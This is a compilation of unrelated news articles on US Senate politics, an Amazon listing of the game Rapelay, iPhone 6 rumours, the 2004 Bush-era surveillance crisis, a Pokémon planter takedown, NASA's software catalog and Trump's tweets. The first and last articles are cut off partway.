have the power to block legislation; that doesn’t mean they will. There are also a great many things Trump can do without congressional input.)  1. Taxes  Corker has already said that he will vote against any tax bill that substantially increases the federal budget deficit. McCain has made less noise, but he voted against the tax cuts pushed by President George W. Bush in 2001 and 2003, arguing that they disproportionately benefited the wealthy. And McCain’s enmity toward Trump may be the deepest of this trio. Voting down the tax cut would allow McCain to deny Trump a major legislative victory, just as he did in July by opposing a bill that would have repealed parts of Obamacare.  Flake too has spoken in the past of the rising budget deficit and national debt as a huge problem. Now relieved from having to face Trump’s voters, Flake could insist on a deficit-neutral tax plan. If he does, that could create major headaches for Republicans, who are struggling to find ways to pay for the large cuts they want. The three senators have the power to either kill Trump’s tax plan or force Trump and Senate Majority Leader Mitch McConnell to change it. They could, in theory at least, push for a non-deficit-busting bill that benefits the middle-class more than the wealthy.  2. Nominations  Flake has more internationalist views on foreign policy than Trump. He was a strong advocate of then-President Obama’s decision to normalize relationships with Cuba, for example. McCain and Corker largely reject Trump’s more nationalist approach as well.  The trio could try to push policy in their favor by exercising oversight over who serves in the executive branch.  There is much speculation that Secretary of State Rex Tillerson will resign in the next few months and that United Nations Ambassador Nikki Haley would replace him. But Trump’s picks for Secretary of State or U.N. Ambassador, like any Cabinet post, would have to be confirmed by the Senate. The Flake-Corker-McCain triumvirate now has effective veto power over any nomination Trump makes, assuming all Democrats oppose it as well.  It’s not just the Cabinet. Corker and McCain care deeply about national security issues, and if Flake joins them, any appointment Trump wants to make — from ambassadors to the assistant secretaries at the Pentagon — could be subject to their whims. That could serve as a check on Trump picking non-traditional or controversial figures for national security posts.  Judicial nominations are also more interesting now. Corker, Flake and McCain are generally more conservative than, say, Maine Republican Susan Collins, who has also been willing to buck Trump and GOP leadership (including by repeatedly defending Medicaid during the Obamacare repeal process). They’re not going to demand liberal judges. But if one of the four justices on the U.S. Supreme Court who was appointed by a Democratic president either dies or retires, it’s possible to imagine this trio demanding that Trump push a more centrist nominee as a replacement instead of tapping the most conservative person possible.  3. Immigration  Flake favors legislation that would protect undocumented immigrants brought to the U.S. as children by their parents from deportation, and he’s been critical of Trump’s proposed U.S.-Mexico border wall. McCain has similar views. It’s not clear if or when Congress will have a formal vote on either issue, and the real battleground will likely be in the House, which is more hawkish on immigration than the Senate. But if the border wall came up for a simple up-or-down vote, Flake would face no electoral pressure to vote yes. Similarly, he could easily back a pro-Dreamers bill.  Here’s the big caveat to a Corker-Flake-McCain coalition stopping Trump’s agenda: Their pro-Trump voting behavior so far this year. All three men backed two of Trump’s most controversial cabinet picks, Education Secretary Betsy Devos and Attorney General Jeff Sessions. Corker and Flake supported Obamacare repeal. Overall, all three men have taken the same position as the Trump administration on the overwhelming majority of legislation to come to a vote since Trump’s inauguration, according to FiveThirtyEight’s Trump Score. (Corker 86 percent of the time; Flake 90 percent; and McCain 84 percent.) Even if they took these votes to support their party’s president and no longer feel the need to do that, we should not ignore their records.  Also, these three have been stalwart Republicans for much of their careers. On tax cuts, which is a huge priority of not just Trump but also the broader GOP, would they really vote down a bill that almost all of their other Senate colleagues want to see passed? McCain did that on health care. But will he do that again? And would Corker and Flake join him?  Here’s what we know for sure: Flake, Corker and McCain are likely to lean in a pro-establishment but anti-Trump direction, and McConnell and Trump can’t assume they will vote for bills just because they are Republicans. In some ways, Corker, Flake and McCain are now a three-person faction all their own — the Trump dissidents in the Senate, or the “Last Hurrah Caucus.” As a group, or individually along with moderate Republicans such as Collins and Alaska’s Lisa Murkowski, they have a lot of sway over the nation’s legislative agenda.
-Exclusive: Amazon selling rape simulation game Rapelay BelfastTelegraph.co.uk A game that involves the player stalking victims and then raping them in a virtual world is being offered for sale by online retailer Amazon.com, the Belfast Telegraph's website can reveal. https://www.belfasttelegraph.co.uk/business/technology/exclusive-amazon-selling-rape-simulation-game-rapelay-28533501.html https://www.belfasttelegraph.co.uk/migration_catalog/article25639900.ece/d96c6/AUTOCROP/h342/rapelay  Email  A game that involves the player stalking victims and then raping them in a virtual world is being offered for sale by online retailer Amazon.com, the Belfast Telegraph's website can reveal.  Weekly Business Digest Newsletter  The shocking 'rape simulator', Rapelay, is set in Japan and carries a sickening game description on the Amazon website. An MP said last night that he plans to raise the issue in Parliament.  Reviews by gaming websites have expressed horror at the basis for the game.  One website review describes "tears glistening in the young girl's eyes" as she is attacked in graphic detail.  Players begin the game by stalking a mother on a subway station before violently raping her. They then move on to attack her two daughters described as virgin schoolgirls.  Players are also allowed to enter 'freeform mode' where they can rape any woman and get other male game characters to join the attacks.  Pregnancy and abortion are listed as 'key features'. One review said: "If she does become pregnant you're supposed to force her to get an abortion, otherwise she gets more and more visibly pregnant each time you have sex.  "If you allow the child to be born then the woman will throw you in front of a train!"  Most of the descriptions and screenshots of the game are too graphic for publication here.  The game's producer, Illusion is a company from Japan famous for making similar 3D Hentai games.  The online encyclopedia, Wikipedia, says: "Due to Illusion's policy, its games are not intended to be sold or used outside of Japan, and official support is only given in Japanese and for use in Japan."  Despite this policy consumers, including those in the UK and Ireland, are now able to buy the game through the Amazon website.  Last night Labour MP Keith Vaz said he was shocked that Amazon are allowing people to purchase such a game and plans to raise the issue in Parliament after being contacted by the Belfast Telegraph website.  Mr Vaz said: “It is intolerable that anyone would purchase a game that simulates the criminal offence of rape.  "To know that this widely available through a major online retailer is utterly shocking, I do not see how this can be allowed.  “I will be raising this matter in Parliament and hope that action is taken to prevent the game from being sold.”  Last year the MP for Leicester East was criticised for claiming such games exist.  Mr Vaz was speaking in support of of Conservative MP Julian Brazier's Private Member's Bill – which sought to introduce an official governmental body that can challenge rulings by the British Board of Film Classifications ( BBFC).  Vaz stated: "People who are watching a film at the cinema cannot participate in what is happening on the screen, or if they do they are removed from the cinema.  "However...when people play these things, they can interact. They can shoot people; they can kill people. As the honourable Gentleman said, they can rape women."  Vaz's claims were questioned by Tory MP for Wantage Edward Vaizey.  He told Parliament: "...the right honourable Member for Leicester East (Keith Vaz), who chairs the Home Affairs Committee, mentioned that some video games allow the participant to engage in a rape act...  "I checked the point with the BBFC and found it to be completely unaware of any such video game.  "Is the honourable Gentleman aware of any video game that has as its intention the carrying out of rape or that allows the game player to carry out such an act? The BBFC and I are unaware of any such game."  At the time hundreds of gaming blogs slated Vaz for his comments. One blog poster said: "This guy has no idea what he's talking about he's more likey to of never even played a game in his life just plain stupid if you ask me."  Only one comment appears on the Amazon website. The user says: "1.0 out of 5 stars. The fact that this exists as a game makes me sad. I am saddened and appalled by the mere idea of this game. is this for real?"  Last year the Belfast Telegraph revealed that Amazon had listed a Barack Obama mask as terrorist costume. The online retailer said the offensive category was put there by someone using its "tag" feature and had removed it immediately.  Update  After being contacted by the Belfast Telegraph Amazon today removed the webpage (still viewable here from Google's cache). A screenshot is also available at this location. The company would not comment on the item or say why it had been offered for sale through their website.  The Amazon page  Rapelay Japanese PC game  by Illusion  Game description on Amazon  Rapelay is an offshoot of the Illusion series, Interact Play. You, like in previous installments, play as a public nuisance that gets away from captivity and starts scouting for new targets. This time around you find a family of a single mother and her two daughters. You quickly begin your hunt and capture each woman one by one. The gameplay involves an amusing training/disposition system with which to break each respective target to your liking....  An expert's opinion: Peter Hepper  Could games like this encourage people to commit illegal acts in the real world?  There have been high profile instances of individuals copying from TV and games. However I think these are the exception rather than the rule.  If one looked at the overall proportion of people who copy such things then it is likely to be very small. However to a potential victim even if one person does - that is one too many.  I don’t think that it would make someone not so inclined to commit an illegal act more inclined or likely to commit a specific act.  However if people are already inclined to view the world this way it may reinforce their views and make it more likely they would undertake an illegal act. I suspect the will to do this would need to be there in the first place.  Professor Peter Hepper, heads the School of Psychology at Queen's University Belfast  Belfast Telegraph
-A set of schematics by GeekBar on Weibo have been making the rounds today, claiming to show both NFC support for the iPhone 6 as well as ‘confirmation’ that the device will feature just 1 GB of RAM, like the iPhone 5s.  Although the site focuses on the 1 GB description at the top of the image, it turns out that the schematic is actually a design for a NAND flash component (a storage chip, the same memory used in iPhones and other mobile devices for storing user data like music and photos) rather than RAM for the SoC.  Todd DeRego, a SoC memory engineer, says that the schematic does not have enough signals for it to be a DRAM interface. He also points out that the AP_TO_NAND text refers to an application processor to NAND link, indicating this memory is actually used as a way of storing the booting firmware and not the main memory of the iPhone. Although the RAM claim is almost certainly untrue, the NFC claim cannot be so easily dismissed.  Try Amazon Prime 30-Day Free Trial  The schematics, pictured above, clearly shows the ‘PN65V’ model number, which correlates to a Near-Field Communication chip by NXP Corp, which produces NFC components for a lot of other smartphone manufacturers already. NXP also manufacture the M7 coprocessor, which debuted in the iPhone 5s.  It is important to highlight, though, that there is no direct connection between these schematics and Apple, the iPhone or even Foxconn, aside from the post by GeekBar who has a mixed track record with Apple leaks.  NFC has been rumored for future iPhones for a while, although the validity of the claim has increased significantly in recent months with claims Apple is actively developing NFC for an upcoming mobile payments service. 9to5Mac reported earlier this year that Apple was talking with several retail chains about the mobile payments venture.  Hence, although the RAM claims are seemingly false, there is a reasonable chance that the documents show NFC is headed for the iPhone 6, especially with the other surrounding evidence. It is by no means concrete, of course, as there is no evidence in these schematics that link the NFC module to an upcoming iPhone device.
-Cheney Shielded Bush From Crisis  By Barton Gellman  Washington Post Staff Writer  Monday, September 15, 2008  This is the second of two stories adapted from "Angler: The Cheney Vice Presidency," to be published Tuesday by Penguin Press. Original source notes are denoted in [brackets] throughout.  Vice President Cheney convened a meeting in the Situation Room at 3 p.m. on Wednesday, March 10, 2004, with just one day left before the warrantless domestic surveillance program was set to expire. Around him were National Security Agency Director Michael V. Hayden, White House counsel Alberto R. Gonzales and the Gang of Eight -- the four ranking members of the House and the Senate, and the chairmen and vice chairmen of the intelligence committees.  Even now, three months into a legal rebellion at the Justice Department, President Bush was nowhere in the picture [1]. He was stumping in the battleground state of Ohio, talking up the economy.  With a nod from Cheney, Hayden walked through the program's vital mission [2]. Gonzales said top lawyers at the NSA and Justice had green-lighted the program from the beginning. Now Attorney General John D. Ashcroft was in the hospital, and James B. Comey, Ashcroft's deputy, refused to certify that the surveillance was legal.  That was misleading at best. Cheney and Gonzales knew that Comey spoke for Ashcroft as well. They also knew, but chose not to mention, that Jack L. Goldsmith, chief of the Office of Legal Counsel at Justice, had been warning of major legal problems for months.  More than three years later, Gonzales would testify that there was "consensus in the room" from the lawmakers, "who said, 'Despite the recommendation of the deputy attorney general, go forward with these very important intelligence activities.' [3] " By this account -- disputed by participants from both parties -- four Democrats and four Republicans counseled Cheney to press on with a program that Justice called illegal.  In fact, Cheney asked the lawmakers a question that came close to answering itself. Could the House and Senate amend surveillance laws without raising suspicions that a new program had been launched? The obvious reply became a new rationale for keeping Congress out.  The Bush administration had no interest in changing the law, according to U.S. District Judge Royce C. Lamberth, chief of the federal government's special surveillance court when the warrantless eavesdropping began.  "We could have gone to Congress, hat in hand, the judicial branch and the executive together, and gotten any statutory change we wanted in those days, I felt like," he said in an interview. "But they wanted to demonstrate that the president's power was supreme."  * * *  Late that Wednesday afternoon, Bush returned from Cleveland. In early evening, the phone rang at the makeshift FBI command center at George Washington University Medical Center, where Ashcroft remained in intensive care. According to two officials who saw the FBI logs, the president was on the line [4]. Bush told the ailing Cabinet chief to expect a visit from Gonzales and White House Chief of Staff Andrew H. Card Jr.  A Senate hearing in 2007 described some of what happened next. But much of the story remained untold [5].  Alerted by Ashcroft's chief of staff, Comey, Goldsmith and FBI Director Robert S. Mueller III raced toward the hospital, abandoning double-parked vehicles and running up a stairwell as fast as their legs could pump.  Comey reached Ashcroft's bedside first. Goldsmith and his colleague Patrick F. Philbin were close behind. Now came Card and Gonzales, holding an envelope. If Comey would not sign the papers, maybe Ashcroft would.  The showdown with the vice president the day before had been excruciating, the pressure "so great it could crush you like a grape," Comey said [6]. This was worse.  Was Comey going to sit there and watch a barely conscious man make his mark? On an order that he believed, and knew Ashcroft believed, to be unlawful?  Unexpectedly, Ashcroft roused himself. Previous accounts have said he backed his deputy. He did far more than that. Ashcroft told the president's men he never should have certified the program in the first place [7].  "You drew the circle so tight I couldn't get the advice that I needed," Ashcroft said, according to Comey. He knew things now, the attorney general said, that he should have been told before. Spent, he sank back in his bed.  Mueller arrived just after Card and Gonzales departed. He shared a private moment with Ashcroft, bending over to hear the man's voice.  "Bob, I'm struggling," Ashcroft said.  "In every man's life there comes a time when the good Lord tests him," Mueller replied. "You have passed your test tonight."  * * *  Goldsmith was out the door. He telephoned Ed Whelan, his deputy, who was at home bathing his children.  "You've got to get into the office now," Goldsmith said. "Please draft a resignation letter for me. I can't tell you why."  All hell was breaking loose at Justice. Lawyers streamed back from the suburbs, converging on the fourth-floor conference room. Most of them were not cleared to hear the details, but a decision began to coalesce: If Comey quit, none of them were staying.  At the FBI, they called Mueller "Bobby Three Sticks," playfully tweaking the Roman numerals in his fancy Philadelphia name. Late that evening, word began to spread. It wasn't only Comey. Bobby Three Sticks was getting ready to turn in his badge.  Justice had filled its top ranks with political loyalists. They hoped to see Bush reelected. Had anyone explained to the president what was at stake?  Whelan pulled out his BlackBerry. He fired off a message to White House staff secretary Brett Kavanaugh, a friend whose position gave him direct access to Bush.  "I knew zilch about what the matter was, but I did know that lots of senior DOJ folks were on the verge of resigning," Whelan said in an e-mail [8], declining to discuss the subject further. "I thought it important to make sure that the president was aware of that situation so that he could factor it in as he saw fit."  Kavanaugh had no more idea than Whelan, but he passed word to Card.  The timing was opportune. Just about then, around 11 p.m., Comey responded to an angry summons from the president's chief of staff. Whatever Card was planning to say, he had calmed down suddenly.  What was all this he heard, Card asked, about quitting?  "I don't think people should try to get their way by threatening resignations," Comey replied [9]. "If they find themselves in a position where they're not comfortable continuing, then they should resign."  "He obviously got the gist of what I was saying," Comey recalled.  It was close to midnight when Comey got home, long past the president's bedtime. Bush had yet to learn that his government was coming apart.  * * *  Trouble was spreading. The FBI's general counsel, Valerie E. Caproni, and her CIA counterpart, Scott W. Mueller, told colleagues they would leave if the president reauthorized the program over Justice Department objections [10].  Assistant Attorney General Christopher A. Wray, who ran Justice's criminal division, stopped Comey in a hallway.  "Look, I don't know what's going on, but before you guys all pull the rip cords, please give me a heads-up so I can jump with you," he said.  James A. Baker, the counselor for intelligence, thought hard about jumping, too [11]. Early on, he got wind of the warrantless eavesdropping and forced the White House to disclose it to Lamberth. Later, Baker told Lamberth's successor that he could not vouch that the Bush administration was honoring its promise to keep the chief surveillance judge fully informed.  "I was determined to stay there and fight for what I thought was right," Baker said in an interview [12], declining to say what the fight was about, on or off the record. He had obligations, he said, to the lawyers who worked for him in the Office of Intelligence Policy and Review. "If it had come to this, if people were willing to go to the mat and tolerate the attorney general and deputy attorney general resigning, that's pretty serious. God knows what else they would have come up with."  * * *  At the White House on Thursday morning, the president moved in a bubble so tight that hardly any air was getting in. It was March 11, decision day. If Bush reauthorized the program, he would have no signature from the attorney general. By now that was nowhere near the president's biggest problem.  Many of the people Bush trusted most were out of the picture. Karl Rove was not cleared for the program. Neither was Dan Bartlett or Karen Hughes.  National security adviser Condoleezza Rice had the clearance, but Cheney did not invite her to the meetings that mattered.  Bush gave a speech to evangelicals that morning and left the White House for an after-lunch fundraiser in New York [13]. In whatever time he took to weigh his options, the president had only Cheney, Card and Gonzales to advise him.  The vice president knew exactly where he stood, unswerving in his commitment to keep the program just as it was. Gonzales later told two confidants that he had broken with David S. Addington, Cheney's lawyer, urging Bush to find common ground with Justice. Card, too, told colleagues that he had urged restraint.  "My job was to communicate with the president about the peripheral vision, not just the tunnel vision of the moment," he said, deflecting questions about the details [14].  Did peripheral vision mean a broader view of the consequences?  "Yes," Card replied. "It was like -- I don't want to limit it to this particular matter, but that's part of a chief of staff's job. A lot of people who work in the White House have tunnel vision, and not an awful lot of people have peripheral vision. And I think the chief of staff is one of the people who should have peripheral vision."  Card didn't really need the corner of his eye to see a disaster at hand. Even so, Bush didn't know what his subordinates knew that Thursday morning.  Cheney, Addington, Card and Gonzales had plenty of data. Card had heard the news directly from Comey the night before. On Thursday, the FBI director delivered much the same warning.  For Cheney, it didn't matter much whether one official or 10 or 20 took a walk. Maybe they were bluffing, maybe not. The principle was the same: Do what has to be done.  "The president of the United States is the chief law enforcement officer -- that was the Cheney view," said Bartlett, Bush's counselor, who was later briefed into the program and the events of the day. "You can't let resignations deter you if you're doing what's right."  Cheney and Addington "were ready to go to the mat," he said, and the vice president's position boiled down to this: " 'That's why we're leaders, that's why we're here. Take the political hit. You've got to do it.' "  * * *  Addington opened the code-word-classified file on his computer. He had a presidential directive to rewrite.  It has been widely reported that Bush executed the March 11 order with a blank space over the attorney general's signature line. That is not correct [15]. For reasons both symbolic and practical, the vice president's lawyer could not tolerate an empty spot where a mutinous subordinate should have signed. Addington typed a substitute signature line: "Alberto R. Gonzales."  What Addington wrote for Bush that day was more transcendent than that. He drew up new language in which the president relied on his own authority to certify the program as lawful. Bush expressly overrode the Justice Department and any act of Congress or judicial decision that purported to constrain his power as commander in chief. Only Richard M. Nixon, in an interview after leaving the White House in disgrace, claimed authority so nearly unlimited [16].  The specter of future prosecutions hung over the program, now that Justice had ruled it illegal.  "Pardon was in the air," said one of the lawyers involved.  It was possible to construct a case, he said, in which those who planned and carried out the program were engaged in a criminal conspiracy. That would be tendentious, this lawyer believed, but with a change of government it could not be ruled out.  "I'm sure when we leave office we're all going to be hauled up before congressional committees and grand juries," Addington told one colleague in disgust.  * * *  Bush signed the directive before leaving for New York around lunchtime on Thursday, March 11, 2004.  Comey got word a couple of hours later. He sat down and typed a letter.  "Over the last two weeks . . . I and the Department of Justice have been asked to be part of something that is fundamentally wrong," he wrote [17]. "As we have struggled over these last days to do the right thing, I have never been prouder of the Department of Justice or of the Attorney General. Sadly, although I believe this has been one of the institution's finest hours, we have been unable to right that wrong. . . . Therefore, with a heavy heart and undiminished love of my country and my Department, I resign as Deputy Attorney General of the United States, effective immediately."  David Ayres, Ashcroft's chief of staff, pleaded with Comey to wait a few days [18]. He was certain that Ashcroft would want to quit alongside him. Comey agreed to hold his letter through the weekend.  Bush was not a man to second-guess himself. By Friday morning, he would need new facts to save him. Somebody, finally, would have to tell him something.  It was Rice, largely in the dark herself, who threw the president a lifeline. She had a few minutes alone with him, shortly before 7:30 a.m., on the day after he renewed the surveillance order. She told Bush about Comey's agitated approach, the day before, to Frances Fragos Townsend, the deputy national security adviser for combating terrorism. This was no way to keep a secret.  "It was a compartmented issue," Rice recalled in an interview [19]. "Obviously, there was a security issue here and not just a legal one, because you didn't want this sort of bumping around."  Rice made a suggestion.  Comey is "a reasonable guy," she told the president. "You really need to make sure that you are hearing these folks out."  An hour later, Comey and Robert Mueller arrived at the White House for the regular 8:30 terrorism briefing. They had a lot to cover: Bombs aboard commuter trains in Madrid had killed 191 people.  Both men told aides that this would be their last day in government. There would be no door-slamming, but the president had made his choice and they had made theirs.  Bush stood as the meeting ended, crossing behind Cheney's chair. Comey moved in the opposite direction, on his way out. He had nearly reached the grandfather clock at the door, two witnesses said, when the president said, "Jim, can I talk to you for a minute? [20]"  Bush nodded toward the private dining room a few steps from his desk, the one he shared with Cheney once a week. This time the vice president was not invited.  "I'll wait for you downstairs," Mueller told Comey.  * * *  By now, around 9:15 Friday morning, Bush knew enough to be nervous about what the acting attorney general might do. That did not mean he planned to reverse himself. One high-ranking adviser said there was still an "optimism that maybe you can finesse your way through this."  Afterward, in conversations with aides, the two men described the meeting in similar terms.  "You don't look well," Bush began.  Oldest trick in the book. Establish dominance, put the other guy off his game [21].  "Well, I feel okay."  "I'm worried about you. You look burdened."  "I am, Mr. President. I feel like there's a tremendous burden on me."  "Let me lift that burden from your shoulders," Bush said. "Let me be the one who makes the decision here."  "Mr. President, I would love to be able to do that."  Bush's tone grew crisp.  "I decide what the law is for the executive branch," he said.  "That's absolutely true, sir, you do. But I decide what the Department of Justice can certify to and can't certify to, and despite my absolute best efforts, I simply cannot in the circumstances."  Comey had majored in religion, William and Mary Class of 1982. He might have made a connection with Bush if he had quoted a verse from Scripture. The line that came to him belonged to a 16th-century theologian who defied an emperor.  "As Martin Luther said, 'Here I stand; I can do no other,' " Comey said. "I've got to tell you, Mr. President, that's where I am."  Now Bush said something that floored Comey.  "I just wish that you weren't raising this at the last minute."  The last minute! He didn't know.  The president kept talking. Not the way it's supposed to work, popping up with news like this. The day before a deadline?  Wednesday. He didn't know until Wednesday. No wonder he sent Card and Gonzales to the hospital.  "Oh, Mr. President, if you've been told that, you have been very poorly served by your advisers," Comey said. "We have been telling them for months we have a huge problem here."  "Give me six weeks," Bush asked. One more renewal.  "I can't do that," Comey said. "You do say what the law is in the executive branch, I believe that. And people's job, if they're going to stay in the executive branch, is to follow that. But I can't agree, and I'm just sorry."  If they're going to stay.  Comey was edging toward a breach of his rule against resignation threats.  This man just needs to know what's about to happen.  "I think you should know that Director Mueller is going to resign today," Comey said.  Bush raised his eyebrows. He shifted in his chair. He could not hide it, or did not try. He was gobsmacked.  "Thank you very much for telling me that," he said.  Comey hurried down to Mueller, who sat in the foyer outside the Situation Room. A Secret Service agent followed close behind. The president would like to see you, the agent told Mueller.  Comey pulled out his BlackBerry and sent a note to six colleagues at 9:27 a.m.  "The president just took me into his private office for a 15 minute one on one talk," he wrote [22]. "Told him he was being misled and poorly served. We had a very full and frank exchange. Don't know that either of us can see a way out. . . . Told him Mueller was about to resign. He just pulled Bob into his office."  The FBI director was no more tractable than Comey. This was a rule-of-law question, he told the president, and the answer was in the Justice Department [23]. The FBI could not participate in operations that Justice held to be in breach of criminal law. If those were his orders, he would respectfully take his leave.  And there it was, unfinessable. Bush was out of running room, all the way out. He had only just figured out that the brink was near, and now he stood upon it.  Not 24 hours earlier, the president had signed his name to an in-your-face rejection of the attorney general's ruling on the law. Now he had two bad choices. March on, with all the consequences. Or retreat.  The president stepped back from the precipice. He gave Mueller a message for Comey.  "Tell Jim to do what Justice thinks needs to be done," he said.  Seven days later, Bush amended his March 11 directive. The legal certification belonged again to the attorney general. The surveillance program stopped doing some things, and it did other things differently. Much of the operation remained in place. Not all of it.  * * *  Because Bush did not walk off the cliff, and because so much of the story was suppressed, an extraordinary moment in presidential history passed unrecognized.  "I mean, it would be damn near unprecedented for the top echelon of your Justice Department to resign over a position you've taken," Bartlett said.  There might be one precedent, he allowed. He did not want to spell it out.  "Not a good one," he said.  During the Watergate scandal, the attorney general and deputy attorney general resigned, refusing to carry out Richard Nixon's order to fire the special prosecutor. Nixon lost his top two Justice officials, and that was called the Saturday Night Massacre.  Bush had come within minutes of losing his FBI director and at least the top five layers at Justice. What would they call that? Suicide, maybe?  "You don't have to be the smartest guy to figure out that [mass resignations] would be pretty much the most devastating thing that could happen to your administration," said Mark Corallo, Ashcroft's communications director and, during Bush's first race for the White House, chief spokesman for the Republican National Committee. "The rush to hearings on the Hill, both in the House and Senate, would be unbelievable. The media frenzy that would have ensued would have been unlike anything we've ever seen. That's when you're getting into Watergate territory."  Long after departing as chief of staff, Card held fast to the proposition that whatever happened was nobody's business, and no big deal anyway [24].  "I think you're writing about something that's irrelevant," Card said. "Voyeurism."  Because?  "Nobody resigned over this," he said. It all boiled down to trash talk: " 'Oh, I was gonna swing at the pitch but it was too high.' "  That seems unlikely to stand as history's verdict. In the fourth year of his presidency, a man who claimed the final word was forced by subordinates to comply with their ruling on the law. Ashcroft, Comey, Goldsmith, Philbin -- believers, one and all, in the "unitary executive branch" -- obliged the commander in chief to stand down. For the first time, a president claimed in writing that he alone could say what the law was. A rebellion, in direct response, became so potent a threat that Bush reversed himself in a day.  "This is the first time when the president of the United States really wanted something in wartime, and tried to overrule the Department of Justice, and the law held," said Goldsmith, after studying similar conflicts under Abraham Lincoln and Franklin D. Roosevelt.  In the aftermath, the White House senior staff asked questions. Was the president getting timely information and advice? Had he relinquished too much control to Cheney?  Bush, aides said, learned something he would not forget. Cheney was the nearest thing to an anti-politician in elected office. Bush could not afford to be like that. In his second term, his second chance, the president would take greater care to consult his own instincts.  "Cheney was not afraid of giving pure, kind of principled advice," Bartlett said. "He thinks from a policy standpoint, and I think he does this out of pure intentions. He thinks of the national security interest or the prerogatives of the executive. The president has other considerations he has to take into account. The political fallout of certain reactions -- he's just going to calculate different than Cheney does."  "He grew accustomed to that," Bartlett said.  Staff researcher Julie Tate contributed to this report.  © 2008 The Washington Post Company
-Claudia Ng had recently purchased a 3D printer, and one of her first projects was to create the model for a Pokémon-themed planter for a friend. She posted it online, and it quickly went viral. The first version of the planter was a little rough, as you can see.  She then put the design on Shapeways, a site that allows you to create and share your own 3D-printed objects, and once again the design blew up. It's a simple idea, but one that we've yet to see in official merchandise. The game the design came from wasn't named, but the listing made a few winking references to the Pokémon franchise. Sales went well, but of course it couldn't last.  "Shapeways got a cease and desist from Pokémon International for infringement. They received this on Friday, and Shapeways took it down within the last hour," Ng told Polygon. "They are asking for all the money associated with this model and shapeways will not be printing or shipping any order for the past few days." She may be put in contact with Pokémon International, and she's not sure if anything will come from that potential meeting.  This outcome isn't very surprising for anyone involved. "I thought that this would fall under the boundaries of derivative and transformative work. I'm also not a lawyer, and I guess that is the least defined of rules and regulation," she explained.  "It's not that surprising. I just expected that they would go after people with more infringing designs," she continued. "Although I admit that it was inspired by my personal favorite starter Pokemon. It's generic-ness has been adored by people who are not Pokémon fans. Most commonly recognized as a Fat Cat. I've also had requests to do other animals and creatures."  It's a great idea for an official piece of merchandise though, so let's hope something comes of an official spin-off of the product. You can download the original model to print your own as well.
-The library covers a broad swath of applications that range from the highly technical Consultative Committee for Space Data Systems File Delivery Protocol, which transfers large files between the NASA ground systems and a spacecraft's control unit, to the whimsical like the Spacewalk game, which is exactly what it sounds like. There's everything from autonomous control packages to life-support system programs.  There are also a number of tools that can be applied to Earth-based photography, like JPL's Stereo Vision Software Suite for calibrating stereoscopic camera setups or the Video Image Stabilization and Registration program. The catalog also has 3D models and textures available. For drone enthusiasts, there's the Autonomous Precision Landing Navigation System, which was originally developed for use in cruise missiles, and the Formation Flying System for UAVs and Satellites if ever want to recreate Lady Gaga's Super Bowl Halftime show.  These are just a few of the numerous utilities available in the new catalog. You can find a searchable list of them here, at the NASA software page.
-On his first day back in the office after a lengthy overseas trip, President Trump made clear that he's not going to stop tweeting any time soon. In five tweets over less than four hours, the president again lashed out at Germany, again brushed off accusations that Russia interfered in the election, again called for blowing up the legislative filibuster, retweeted a photo of the crowd that gathered to hear him speak at Arlington National Cemetery on Monday and retweeted a Fox News article headlined “Jared Kushner didn't suggest Russian communications channel in meeting, source says.”  The tweets started at 6:40 a.m. on the East Coast, a bit earlier than usual, with a message that seemed aimed at German Chancellor Angela Merkel, who has been critical of Trump and said Sunday that the days of Europe being able to rely on other countries, especially the United States, is “over to a certain extent.”  “We have a MASSIVE trade deficit with Germany, plus they pay FAR LESS than they should on NATO & military. Very bad for U.S. This will change,” the president wrote in a tweet from his personal account, @realDonaldTrump.  We have a MASSIVE trade deficit with Germany, plus they pay FAR LESS than they should on NATO & military. Very bad for U.S. This will change — Donald J. Trump (@realDonaldTrump) May 30, 2017  [Donald Trump just threatened Germany over trade. Here’s what you need to know.]  Twenty-four minutes later came the next thought: “Russian officials must be laughing at the U.S. & how a lame excuse for why the Dems lost the election has taken over the Fake News.”  This isn't the first time Trump has ignored the intelligence community's collective conclusion that Russia tried to interfere in last year's election and painted the issue as simply a conspiracy theory invented by Democrats. But this tweet comes as the media continues to report on contacts between Russia and Trump associates, including his son-in-law Jared Kushner, one of Trump's most trusted advisers.  Russian officials must be laughing at the U.S. & how a lame excuse for why the Dems lost the election has taken over the Fake News. — Donald J. Trump (@realDonaldTrump) May 30, 2017  The Washington Post reported Friday that Kushner and Russia’s ambassador to Washington discussed the possibility of setting up a secret and secure communications channel between Trump’s transition team and the Kremlin, using Russian diplomatic facilities in an apparent move to shield their pre-inauguration discussions from monitoring. This controversy has overshadowed Trump's presidency so far, and White House officials are trying to shift the focus back to policy while likely shaking up staff responsibilities.  What you need to know about Jared Kushner's ties to Russia. (Thomas Johnson/The Washington Post)  [Trump considers major changes amid escalating Russia crisis]  But even as Trump and his inner circle try to dismiss the leaks as “fake news,” Russia seems to be taking them seriously.  In Moscow, Russian Deputy Foreign Minister Sergei Ryabkov complained that “the threat of leaks” from the White House undermines cooperation between the two countries. He claimed the Kremlin is now conducting only “basic level” exchanges with the Trump administration out of worry that details could be spilled to the U.S. media.  “You don’t know what’s going to happen tomorrow,” Ryabkov told Russian journalists. “Maybe you’ll see what you discussed with your counterpart on the pages of Washington Post or on CNN.”  The president then took a nearly three-hour Twitter break, resuming at 9:59 a.m. with this message: “The U.S. Senate should switch to 51 votes, immediately, and get Healthcare and TAX CUTS approved, fast and easy. Dems would do it, no doubt!”  The U.S. Senate should switch to 51 votes, immediately, and get Healthcare and TAX CUTS approved, fast and easy. Dems would do it, no doubt! — Donald J. Trump (@realDonaldTrump) May 30, 2017  In response, Senate Majority Leader Mitch McConnell (R-Ky.) noted through a spokeswoman that neither of those two measures is going through a process that would allow a filibuster. Each requires only a simple 51-vote majority under a process known as reconciliation.  “Senator McConnell agrees that both health care and tax reform are essential and that is why Republicans in Congress are using the reconciliation process to prevent a partisan filibuster of these two critical legislative agenda items,” said McConnell spokeswoman Antonia Ferrier in response to Trump's tweet.  This is not the first time the president has called for blowing up the Senate rules to allow legislation to pass by a simple majority — and to make it easier to get legislation that he supports approved.  McConnell stated earlier this year that under his leadership, the Senate would not seek to end the legislative filibuster. He said there is “no sentiment” to end the 60-vote threshold that most legislation must clear.  Following a similar comment in early May, McConnell told reporters at a news conference: “That will not happen.”  Soon after the filibuster tweet, the president retweeted two messages from others: One from Dan Scavino Jr., an assistant who handles his social media, that showed the crowd that gathered at Arlington National Cemetery on Monday morning to hear the president speak, and another from Fox News's “Fox & Friends” morning show that linked to a news article lacking an author and citing one unnamed source who challenged details of The Post's reporting.  President Trump pays respects and delivers #MemorialDay remarks at Arlington National Cemetery. pic.twitter.com/D5rl948J6u — Dan 